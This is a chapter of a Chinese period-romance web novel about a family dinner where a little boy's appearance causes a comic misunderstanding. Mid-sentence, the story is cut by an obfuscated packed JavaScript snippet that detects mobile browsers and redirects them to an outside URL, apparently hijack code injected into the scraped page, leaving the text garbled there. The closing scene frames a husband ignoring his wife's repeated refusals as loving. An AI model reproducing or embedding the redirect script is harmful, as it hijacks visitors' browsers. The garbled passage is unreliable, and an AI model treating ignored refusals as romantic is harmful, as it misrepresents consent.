周清让一抬头,便见着门口站着的一大一小,而那一大一小的目光,都是在低头吃饭的沈筠身上。
香盈本想着趁没有人看见,赶紧抱着小胖子先溜,没成想,刚一俯身,那堂中便有一模糊的面目抬起,目光直视过来。
现在真是,走也不是,不走也不是。
小胖子摇晃着香盈的手,仰头道:“走啊表姐,大肩膀在里面吃饭呢。”
香盈虽然看的模糊,可垂头用饭的那两个人的身形和轮廓,只有沈昭和沈筠。
堂中的周清让放下碗筷,推了推一旁喝汤的沈长流:“门口那两人,是谁啊?”
饭桌上的三人闻言,都抬头望向院门口。
此时的小胖子已经牵着香盈跨进了门槛,香盈尴尬到脸色微红,哪有人在别人一家吃饭的时候,这样直愣愣来打扰的。
“哎哟,小胖子啊,用晚饭了没有?今日你可是找对地方了。”沈昭眉眼弯弯,他伸开手臂,想要抱小胖子。
小胖子松开香盈的手,朝着沈昭走去,沈昭一把将他抱起,让他坐在自己腿上。
“这孩子是?”周清让问。
“他啊。”沈昭作势看了眼依旧淡然吃饭的沈筠,神秘兮兮道:“姓沈。”
周清让和沈长流相视一眼,而后两人默契的看了眼羞涩的香盈,又将目光转向沈筠。
沈长流瞥了眼模样与沈筠有些相似的小胖子,顿时怒上心头,“唰”的一声站了起来,眼睛盯着沈筠:“你说,这孩子是怎么回事?”
小胖子显然被吓了一跳,他将脑袋埋进沈昭怀里,连呼吸都不敢大声。
沈昭一时愣住,想不出来他爹这么生气作甚:“爹你……”
“你给我住嘴,你看起来也不是个好东西。”沈长流这辈子最厌恶的有两种人,第一种,是贪生怕死之人,第二种,就是他大哥那种左拥右抱,恨不得把院子里塞满女人的人,简直令人恶心:“你什么时候与这位姑娘生的孩子?可给了名分了?”
香盈:“????”
沈筠:“…………”
沈昭:“!!!!!”
周清让已经走到香盈一旁,轻轻握住她的手,柔声道:“好孩子,这些年真是辛苦你了。”
作为妇人,她自是更能感同身受生育孩子的苦累,特别又是……潜序这般冷心冷情之人。
定是特别辛苦。
“不,不是的二夫人,你们误会了。”香盈连忙解释道:“他是大老爷的儿子,排行第八,和我与六少爷没有关系。”
沈长流:“大哥的儿子?”那张看似虚弱的脸忽然闪现脑海,这么大的年纪了,居然还能生育,还真是不知疲倦的猛牛,他朝着香盈投去一个抱歉的笑容:“对不住了这位姑娘,还请你原谅。”说完以后,他又转向沈筠:“潜序,是为父不明辨是非,也请你原谅。”
沈筠瞥了一眼沈长流,以往都是一些冥顽不宁,死不悔改之人,对付他们的方法,简单有效,用刑不成,便用大刑。
可今日这般,他倒是有些不知所措,不知该如何应答。
“漂亮哥哥说他原谅你了。”小胖子忽然奶声道。他爬到一旁的沈筠身上:“漂亮哥哥没有生气。”
沈昭:“你怎么知道他没有生气?”
小胖子像是突然被问住,他垂下脑袋想了想,道:“因为长的漂亮的哥哥都不喜欢生气。”只有他大哥那样的丑八怪才会整天看谁都不顺眼。
周清让见状柔声笑了几声:“这孩子倒是有意思,你叫什么名字呀?”
“我叫沈慧明,也可以叫我小明……”他想了一下,又道:“你们也可以和我表姐一样,叫我小胖子。”
周清让眉眼弯弯,又询问道:“你表姐是谁啊?”
“她就是我的表姐啊。”小胖子手指着香盈:“她叫香盈,是我娘去乡下接回来的,表姐没有亲人了,我和娘就是她最亲的人。”
沈筠那块藏在胸口的手帕似乎有些发热,她竟没了父母吗?
这话小胖子经常在香盈耳边念叨,她原以为她已经习惯,可今日又听这话,她还是心头一暖。
“香姑娘长的这般可人,你的爹娘定也是英俊貌美。”周清让眼皮子浅,听不得感人的事情,可这里好歹是有外人在,她不能失礼,只得说些别的。
“回二夫人……”香盈话还没有说完,就被周清让打断。
“我这里啊,可没有这些规矩,咱们就像朋友一样聊天便是,别回回回的,我听着别扭。”她边说边挽着香盈往椅子上带。
“快坐快坐。”她看向沈长流:“快去拿两副碗筷。”
“不用了不用了,二夫人……”
周清让也坐下来,坐在香盈一旁,她又打断香盈的话:“我以后可以叫你盈盈吗?”
她做梦都想要个女孩子,只是年纪大了,大夫也说她的身子不再适合生育,如今从天而降一位乖巧娇俏的女孩子,周清让真是欢喜的不得了。
“可……可以。”
盈盈?沈筠听着这两个小字,眼神微微幽暗,连带着那双沾染着水汽的眸子,又在眼前晃悠。
沈长流将碗筷取来,分别放置沈筠和香盈面前。
“这些菜啊,都是我和夫君一起做的,盈盈尝尝,合不合胃口。”周清让一边说,一边给香盈碗里夹菜。
香盈晚饭时分并没有吃什么,现下看着满桌子的菜肴,胃中空泛,她夹起碗里的菜吃了一口,味道咸香适中,比的上自己做的菜,她满足的点了点头,道:“好好吃,比我最近吃到的任何一道菜都要好吃。”
周清让明显被夸的开心,眉眼更是抑制不住弯弯。
沈筠看着他夹给小胖子的菜,不过是普通的家常小菜,哪有她说的那般好吃。
他瞥了一眼津津用饭的香盈,小小的樱唇一张一合,细细咀嚼又慢慢吞咽,看的人眼热。腹中的馋虫似乎又卷土从来,他伸出手去夹了一块她刚刚吃过的一道菜,放入嘴中咀嚼。
似乎……是有些好吃。
他默默观察着香盈,她吃哪道菜,他便吃哪道菜。
小胖子虽然埋着脑袋扒饭,可也时刻注意着漂亮六六哥的动态。
到了要走得时候,他趁着周清让和香盈说话之际,将沈筠拉到一旁,仰头招手让沈筠俯下身来听自己说话。
沈筠并不讨厌他,所以依着他照做。
小胖子见他低下头来,凑近他的耳朵边,奶声道:“我看到了。”
???看到什么?还未等到沈筠发问,那奶奶的声音紧接着又道:“我看到你在吃我表姐的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111676|195874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口水。”
沈筠退开一步,皱着眉头,斜倪着小胖子,他不禁怀疑,沈昭是被这小胖子给带坏了。
“你几岁了?”
小胖子举起肉乎乎的五根手指,奶声道:“五岁啦。”
沈筠伸出手去捏了捏他肉肉的脸颊,勾着坏笑道:“过几日,我送你一份礼物。”
小胖子一听礼物,顿时开心的蹦起来,甚至于牵着香盈的手走时,脚步也是轻快。
简直想要飞到天上去。
……
房间的烛火轻跃,周清让穿着一身粉雾薄纱,坐在镜前,一头乌发垂落胸前,她用檀木梳子轻轻梳理。
沈长流刚刚沐浴完,推门入房时,还沾染着一身雾气。
他本想和周清让一同沐浴,都已经进了浴室脱了上衣,还是被她一脸严肃的推开,道:这里是汴城,不是边疆,被人看见会有人说闲话的。
沈长流鲜少见她那副模样,他见不得她不开心,只得乖乖的穿上衣服走出房门。
不过,他和自家夫人一起洗澡,这不是名正言顺的吗?哪个吃饱了撑着敢到处传这种混话?
他越想越气,气到最后只敢走到院子里踢了那颗老树几脚。
这还不如呆在边疆。
“怎么还不上床歇着?”沈长流从周清让身后拥住她,那双大掌习惯性的攀上最高点。
“明日柳国公府宴席,我想带着盈盈一块去。”周清让看着镜中专注手法的沈长流。
“夫人想带谁去便带谁去,不去也可。”
周清让一把扯掉他的手,转到他面前,气鼓鼓道:“怎么?就准你去找你的好朋友叙旧,就不准我去找柳家了?”
沈长流到手的棉花飞走,手指无措的虚捏了捏,他蹲下身子,与周清让平视:“我的好夫人哩,夫君可不是这个意思。”
“那你是什么意思?”
沈长流上手挨住周清让的大腿:“那个姑娘看着老实乖巧,我看你与她也是能聊到一块来,带着一起去柳府,也算是有个伴。你虽在闺中时与柳明珠交好,可是你们也毕竟二十年没有见过面,况且……她这些年,我听说,她已三嫁三离了。”
“……你怎么知道这么多?”周清让惊讶的看着沈长流,这些事情柳明珠从来没有在信中提过。
“为夫知道你与她亲近,又一直互通书信,可你也知道,在战场上,我经过了太多的背叛,我不放心,所以便一直派人留意她的动向。前十年你们一直还有来往,可后面十年,她婚姻坎坷,与你断了书信,是以,我便没有告诉你这些事情。”
周清让听完,心头一阵酸涩,她竟不知道,柳明珠受了这么多的苦。
沈长流见她情绪低落,赶忙将她抱了起来,周清让被吓了一跳,轻呼一声,抱着他的脖颈,嗔怒道:“你做什么呀你?”
这点脾气对于沈长流来说,不过是羞涩的掩饰:“做什么你还不清楚吗?与其让你垂首难过,还不如来做点事情,让你转移转移注意力,怎么样?为夫是不是特别贴心。”
周清让的不要还未出声,人已经被轻轻抛上了床。
无论她婉转多少次不要,沈长流就是无视,继续专注。
专注如初。
恍若未闻,听在耳内,反而更之受用。